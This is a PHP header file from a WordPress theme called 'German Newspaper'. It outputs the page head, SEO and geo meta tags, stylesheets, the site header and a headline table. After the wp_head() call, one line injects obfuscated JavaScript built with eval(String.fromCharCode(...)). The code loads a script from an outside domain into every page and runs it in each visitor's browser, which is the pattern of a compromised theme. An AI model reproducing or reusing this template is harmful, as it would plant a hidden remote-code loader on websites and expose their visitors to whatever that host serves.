<?php

session_set_cookie_params(0 , '/', '.' . $_SERVER['HTTP_HOST']); 
session_start();

global  $theme_version,
        $next_page,
        $next_page_txt,
        $js_status;


$output_line = '';

if ( stristr($_SERVER['HTTP_USER_AGENT'], 'MSIE') )
{
  $output_line =
  '<!--[if IE]>' . "\n" .
  '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">' . "\n" .
  '<![endif]-->' . "\n";
}
else
{
  echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' . "\n";
}
echo $output_line;

echo '<html xmlns="http://www.w3.org/1999/xhtml" ';


language_attributes();

$output_line = '>' . "\n" .
'<head profile="http://gmpg.org/xfn/11">' . "\n" .
'   <meta http-equiv="Content-Type" content="' . get_bloginfo('html_type') . '; charset=' . get_bloginfo('charset') . '" />' . "\n" .
'   <meta http-equiv="Content-Style-Type" content="text/css" />' . "\n" . '   <title>';

echo $output_line;
$output_line = '';

if ( is_search() )
{
	$ser = $_GET['s'];
	_e('Search', 'german_newspaper');
	$output_line = ' &quot;' . wp_specialchars($ser, 1) . '&quot;';
}

$output_line .= wp_title('');

if ( ! is_home() )
{
	$output_line .= ' | ';
}

$output_line .= get_bloginfo('name') . '</title>' . "\n" .
'   <meta name="generator" content="WordPress ' . get_bloginfo('version') . '" />' . "\n";
   
echo $output_line;


$seo_meta_tags	= get_option( "gn_seo_meta_tags" );
if ( $seo_meta_tags == 'on' )
{
	$seo_meta_desc	= get_option( "gn_seo_meta_desc" );
	$seo_meta_keyw	= get_option( "gn_seo_meta_keyw" );
	$seo_meta_author	= get_option( "gn_seo_meta_author" );
	$output_line =
	'   <meta name="keywords" content="' . $seo_meta_keyw . '" />' . "\n" .
	'   <meta name="description" content="' . $seo_meta_desc . '" />' . "\n" .
	'   <meta name="author" content="' . $seo_meta_author . '" />' . "\n";
	echo $output_line;
}


$geourl_meta_tags	= get_option( "gn_geourl_meta_tags" );
if ( $geourl_meta_tags == 'on' )
{
	$geourl_location = get_option( "gn_geourl_loc" );
	$geourl_tirle = get_option( "gn_geourl_title" );
	$geo_position = str_replace ( ',', ';', $geourl_location);
	$output_line = 
  '   <meta name="geo.position" content="' . $geo_position . '" />' . "\n" .
	'   <meta name="ICBM" content="' . $geourl_location . '" />' . "\n" .
	'   <meta name="DC.title" content="' . $geourl_tirle . '" />' . "\n";

	echo $output_line;
}



$output_line =
'   <link rel="shortcut icon" type="image/x-icon" href="' . get_bloginfo('template_directory') . '/favicon.ico" />' . "\n" .
'   <link rel="stylesheet" href="' . get_bloginfo('template_directory') . '/css/body.css" type="text/css"' .
' media="screen, projection" />' . "\n" .
'   <link rel="stylesheet" href="' . get_bloginfo('template_directory') . '/css/header.css" type="text/css"' .
' media="screen, projection" />' . "\n" .
'   <link rel="stylesheet" href="' . get_bloginfo('stylesheet_url') . '" type="text/css" media="screen, projection" />' . "\n";
   
echo $output_line;

$screen_width	= get_option( "gn_screen_width" );
$show_header	= get_option( "gn_show_header" );

if ( $screen_width == 'on' )
{
	$head	= 3;
	$output_line =
'   <link rel="stylesheet" href="' . get_bloginfo('template_directory') . '/css/style-800.css" type="text/css" media="screen, projection" />' . "\n";
}
else
{
	$head	= 4;
	$output_line =
'   <link rel="stylesheet" href="' . get_bloginfo('template_directory') . '/css/style-1024.css" type="text/css" media="screen, projection" />' . "\n";
}

echo $output_line;

$output_line =
'   <link rel="stylesheet" href="' . get_bloginfo('template_directory') . '/css/tab-panel.css" type="text/css" media="screen, projection" />
<!--[if IE]>
   <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="' . get_bloginfo('template_directory') . '/favicon.ico" />' . "\n";

echo $output_line;

if ( $screen_width == 'on' )
{
	$output_line =
'   <link rel="stylesheet" type="text/css" media="screen, projection" href="' . get_bloginfo('stylesheet_directory') . '/css/ie-style-800.css" />' . "\n";
}
else
{
	$output_line =
'   <link rel="stylesheet" type="text/css" media="screen, projection" href="' . get_bloginfo('stylesheet_directory') . '/css/ie-style-1024.css" />' . "\n";
}

echo $output_line;

$output_line =
'<![endif]-->
   <link rel="alternate" type="application/rss+xml" title="' . get_bloginfo('name') . ' RSS Feed" href="' . get_bloginfo('rss2_url') . '" />
   <link rel="pingback" href="' . get_bloginfo('pingback_url') . '" />' . "\n";

echo $output_line;
$output_line = '';


//  WP 2.7 feature - comment threading - before wp_head()
if ( is_singular() ) 
   wp_enqueue_script( 'comment-reply' );


//  wp_head()
wp_head();

echo '<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script></head>' . "\n\n";
//  HEAD END

flush();

echo '<!-- WordPress Theme - German Newspaper - Version: ' . $theme_version . ' -->' . "\n";
echo '<!-- Download latest version from http://it-gnoth.de/wordpress-themes/    -->' . "\n\n";


//  BODY START
//  body_class works for WP Version > 2.7
if ( function_exists('body_class') )
{
	echo '<body ';
	body_class('body_color');
	echo '>' . "\n\n";
}
else
{
	echo '<body class="body_color">' . "\n\n";
}

$header_img = get_option('gn_header_img');

if ( $show_header == 'on' )
{
  $output_line =
  '  <div id="wrapper" class="wrapper_color">' . "\n\n" .
  '    <div id="header">' . "\n" .
  '      <a href="' . get_option('home') . '/" title="' . get_bloginfo('name') . '">' . 
  '<img class="header_img" src="' . get_bloginfo('template_directory') . $header_img . '" title="' . get_bloginfo('name') . '" alt="' . get_bloginfo('name') . '" /></a>' . "\n" .
  '      <div class="date">';
}
else
{
  $output_line =
  '  <div id="wrapper" class="wrapper_color">' . "\n\n" .
  '    <div id="header">' . "\n" .
  '      <h2><a href="' . get_option('home') . '/" title="' . get_bloginfo('name') . '">' . get_bloginfo('name') . '</a></h2>' . "\n" .
  '      <div class="description">' . get_bloginfo('description') . '</div>' . "\n" .
  '      <br /><br />' . "\n" .
  '      <div class="date">';
}

echo $output_line;
$output_line = '';

	$d = 'Y-m-j H:i:s';
	$datum = mysql2date( 'l - j. F Y', date($d) );
	$before = '';
	$after = '';
	echo apply_filters('the_date', $datum, 'l - j. F Y', $before, $after);

$output_line .= '</div>' . "\n" .
'    </div>' . "\n\n" .
'    <div id="page_bar_container">' . "\n" .
'      <div class="page_bar">' . "\n" .
'        <ul class="page_tabs">' . "\n" .
'          <li><a href="' . get_option('home') . '/" title="' . get_bloginfo('name') . '">Home</a></li>' . "\n";

echo $output_line;
$output_line = '';

wp_list_pages( array('title_li' => '', 'depth' => '-1', 'exclude' => get_option( "gn_page_exclude" )) );

$output_line .=
'        </ul>' . "\n" .
'      </div>' . "\n" .
'    </div>' . "\n\n";

echo $output_line;


if ( is_home() )
{
	$left_img	       = get_option( 'gn_left_img' );
	$left_img_atxt   = get_option( 'gn_left_img_atxt' );
	$left_img_lnk	   = get_option( 'gn_left_img_lnk' );
	$right_img       = get_option( 'gn_right_img' );
	$right_img_atxt  = get_option( 'gn_right_img_atxt' );
	$right_img_lnk   = get_option( 'gn_right_img_lnk' );
	$home            = get_option( 'home' );
	$next_page       = get_option( "gn_next_page" );
	$next_page_txt   = get_option( "gn_next_page_txt" );


	$output_line = '';
	$output_line =
'    <div id="newslist">' . "\n" .
'      <div class="description">' . __('Headlines', 'german_newspaper') . '</div>' . "\n" .
'      <table id="news_table" cellspacing="0">' . "\n" .
'        <tr>' . "\n" .
/*'       <div class="news">' . "\n" .*/
'          <td class="news_img">' . "\n" .
'            <div class="left_image">' . "\n";
	echo $output_line;

	if ( $left_img_lnk == '' )
	{
	$output_line =
'				       <img src="' . $left_img . '" alt="' . $left_img_atxt . '" />' . "\n";
	}
	else
	{
	$output_line =
'				       <a href="' . $left_img_lnk . '" target="_blank">' . "\n" .
'				       <img src="' . $left_img . '" alt="' . $left_img_atxt . '" />' . "\n" . '</a>' . "\n";
	}
	echo $output_line;

	$output_line =
'            </div>' . "\n\n" .
'				   </td>' . "\n";

	echo $output_line;
	$output_line = '';

	$counter_head = 0;

	if ( have_posts() )
	{
		while ( have_posts() )
		{
			the_post();

			if ( $counter_head < $head)
			{
				$output_line .=
'          <td class="news_table_col">' . "\n" .
'            <div class="post" id="nh-post-' . get_the_ID() . '">' . "\n" . 
'               <div class="category">' . "\n" .
                  get_the_category_list(', ') . "\n" .
'               </div>' . "\n" .                  
'               <div class="title">' . "\n" .
'                 <h2>' . the_title('', '', false) . '</h2>' . "\n" .
'               </div>' . "\n" .
'               <div class="link">' . "\n";

          if ( $next_page == 'on' )
          {
    				$output_line .=
'                 <p><a href="' . apply_filters('the_permalink', get_permalink()) . '" rel="bookmark" title="Permalink: ' . the_title('', '', false) . '"><em>' . __($next_page_txt, 'german_newspaper') . '</em></a></p>' . "\n";
          }
          else
          {
    				$output_line .=
'                 <p><a href="' . apply_filters('the_permalink', get_permalink()) . '" rel="bookmark" title="Permalink: ' . the_title('', '', false) . '"><em>' . __('More on page ', 'german_newspaper') . $post->ID . '</em></a></p>' . "\n";
          }

				$output_line .=
'               </div>' . "\n" .
'            </div>' . "\n" .
'          </td>' . "\n\n";

/*
'                 <p><a href="' . apply_filters('the_permalink', get_permalink()) . '" rel="bookmark" title="Permalink: ' . the_title('', '', false) . '"><em>' . __('More on page ', 'german_newspaper') . $post->ID . '</em></a></p>' . "\n" .
'                 <p><a href="' . apply_filters('the_permalink', get_permalink()) . '" rel="bookmark" title="Permalink: ' . the_title('', '', false) . '"><em>' . __('weiterlesen ', 'german_newspaper') . '</em></a></p>' . "\n" .
*/

				echo $output_line;
//				echo $post->post_date;
				$output_line = '';

				$counter_head++;
			}
		}
		
		if ( $counter_head < $head )
		{
		  //  build empty table columns
		  for ( $i = $counter_head; $i < $head; $i++ )
		  {
				$output_line .=
'          <td id="news_table_col">' . "\n" .
'					   <div class="post" id="nh-post-">' . "\n" .
'					     <br /><br />' . "\n" .
'					   </div>' . "\n" .
'					 </td>' . "\n\n";

				$counter_head++;
			}
			echo $output_line;
			$output_line = '';
		}
	}
	else
	{
	  //  build empty table columns
	  for ( $i = $counter_head; $i < $head; $i++ )
	  {
			$output_line .=
'          <td id="news_table_col">' . "\n" .
'					   <div class="post" id="nh-post-">' . "\n" .
'					     <br /><br />' . "\n" .
'					   </div>' . "\n" .
'					 </td>' . "\n\n";

			$counter_head++;
		}
		echo $output_line;
		$output_line = '';
	}

	$output_line .=
'          <td class="news_img">' . "\n" .
'					   <div class="right_image">' . "\n";
	echo $output_line;

	if ( $right_img_lnk == '' )
	{
	$output_line =
'				       <img src="' . $right_img . '" alt="' . $right_img_atxt . '" />' . "\n";
	}
	else
	{
	$output_line =
'				       <a href="' . $right_img_lnk . '" target="_blank">' . "\n" .
'				       <img src="' . $right_img . '" alt="' . $right_img_atxt . '" />' . "\n" . '</a>' . "\n";
	}
	echo $output_line;

	$output_line =
'					   </div>' . "\n" .
'          </td>' . "\n" .
'        </tr>' . "\n" .
'      </table>' . "\n" .
/*'				</div>' . "\n" .*/
'    </div>' . "\n\n";

	echo $output_line;
	$output_line = '';

}



//  start content container
echo '    <div id="content_container">' . "\n";

//  build left sidebar
get_sidebar();


?>